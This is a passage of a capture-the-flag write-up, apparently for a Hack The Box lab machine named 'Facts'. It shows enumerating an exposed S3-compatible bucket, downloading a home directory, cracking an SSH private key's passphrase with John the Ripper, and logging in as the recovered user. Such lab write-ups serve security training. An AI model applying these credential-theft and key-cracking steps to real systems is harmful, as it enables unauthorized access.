</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/facts</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">aws s3 ls --endpoint-url http://facts.htb:54321</span>
<span class="cmd-output">
2025-09-11 21:36:52 internal
2025-09-11 21:36:52 randomfacts
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>There’re 2 buckets: <code class="language-plaintext highlighter-rouge">internal</code> and <code class="language-plaintext highlighter-rouge">randomfacts</code>. <code class="language-plaintext highlighter-rouge">randomfacts</code> contains images for the webapp.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/facts</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">aws s3 ls s3://randomfacts --endpoint-url http://facts.htb:54321</span>
<span class="cmd-output">
2025-09-11 21:37:06     446847 animalejected.png
2025-09-11 21:37:06     271210 annefrankasteroid.png
2025-09-11 21:37:06     255778 catsattachment.png
2025-09-11 21:37:05     411597 cuteanimals.png
2025-09-11 21:37:05     177331 darkchocolate.png
2025-09-11 21:37:05     312753 dogscatssmell.png
2025-09-11 21:37:04     922561 dolphinfact.png
2025-09-11 21:37:04      67352 finlandhappiest.png
2025-09-11 21:37:04     388178 firstimpressions.png
2025-09-11 21:37:04     100689 firsttransaction.png
2025-09-11 21:37:03     222436 firstwebcam.png
2025-09-11 21:37:03     128158 georgewashingtonslaves.png
2025-09-11 21:37:03      34816 logopage.png
2025-09-11 21:37:03      16886 logopage2.png
2025-09-11 21:37:02      80796 pressureupbeat.png
2025-09-11 21:37:02      24792 primary-question-mark.png
2025-09-11 21:37:02     341284 smallanimals.png
2025-09-11 21:37:02     332397 superiorpeople.png
2025-09-11 21:37:01      39579 vanilla.png
2025-09-11 21:37:01      35769 youtubewatchhours.png
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">internal</code> however looks like someone’s home directory:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/facts</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">aws s3 ls s3://internal --endpoint-url http://facts.htb:54321</span>
<span class="cmd-output">
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-09 05:15:13        220 .bash_logout
2026-01-09 05:15:13       3900 .bashrc
2026-01-09 05:17:17         20 .lesshst
2026-01-09 05:17:17        807 .profile

</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />
<h2 id="foothold">Foothold:</h2>
<h3 id="ssh-key-recovery">SSH Key Recovery:</h3>

<p>I’ll download everything in <code class="language-plaintext highlighter-rouge">internal</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/facts</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">aws s3 sync s3://internal ./internal --endpoint-url http://facts.htb:54321</span>
<span class="cmd-output">
download: s3://internal/.bash_logout to internal/.bash_logout                            
download: s3://internal/.bashrc to internal/.bashrc                                     
download: s3://internal/.bundle/cache/compact_index/rubygems.org.443.29b0360b937aa4d161703e6160654e47/info-etags/abbrev-a8535dd69eea7328daee4b1edb3c5fc9 to internal/.bundle/cache/compact_index/rubygems.org.443.29b0360b937aa4d161703e6160654e47/info-etags/abbrev-a8535dd69eea7328daee4b1edb3c5fc9
download: s3://internal/.bundle/cache/compact_index/rubygems.org.443.29b0360b937aa4d161703e6160654e47/info-etags/Ascii85-cd6bda2cb46ae99572d8c23376105ecf to internal/.bundle/cache/compact_index/rubygems.org.443.29b0360b937aa4d161703e6160654e47/info-etags/Ascii85-cd6bda2cb46ae99572d8c23376105ecf
..SNIP..
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>There’s a lot of cache files, but inside <code class="language-plaintext highlighter-rouge">.ssh/</code> there’s a private key.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/facts</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ls -la internal/.ssh</span>
<span class="cmd-output">
total 16
drwxr-xr-x 2 ch3ng ch3ng 4096 Feb  1 16:13 .
drwxr-xr-x 5 ch3ng ch3ng 4096 Feb  1 16:13 ..
-rw-r--r-- 1 ch3ng ch3ng   82 Feb  1 14:16 authorized_keys
-rw-r--r-- 1 ch3ng ch3ng  464 Feb  1 14:16 id_ed25519
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>However, the username is still unknown. The private key is also password-protected, I’ll use <code class="language-plaintext highlighter-rouge">ssh2john</code> to crack it.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/facts</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ssh2john id_ed25519 &gt; hash.txt</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/facts</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</span>
<span class="cmd-output">
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<span style="color:lightgreen;">dragonballz      (id_ed25519)   </span>
1g 0:00:00:36 DONE (2026-02-01 22:50) 0.02732g/s 87.45p/s 87.45c/s 87.45C/s adriano..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>For convenience, I used <code class="language-plaintext highlighter-rouge">ssh-keygen</code> to get rid of the passphrase. Incidentally, it revealed that the key has comments, which turns out to be the username.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/facts</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ssh-keygen -p -f id_ed25519</span>
<span class="cmd-output">
Enter old passphrase: 
Key has comment 'trivia@facts.htb'
Enter new passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved with the new passphrase.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Now I can SSH in.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/facts</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ssh trivia@facts.htb -i id_ed25519</span>
<span class="cmd-output">
Warning: Permanently added 'facts.htb' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_ed25519': 
Last login: Sun Feb  1 13:09:39 UTC 2026 from 10.10.14.12 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Feb  1 01:12:09 PM UTC 2026

  System load:           0.0
  Usage of /:            71.7% of 7.28GB
  Memory usage:          18%
  Swap usage:            0%
  Processes:             222
  Users logged in:       1
  IPv4 address for eth0: 10.129.225.196
  IPv6 address for eth0: dead:beef::250:56ff:fe95:fb4


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
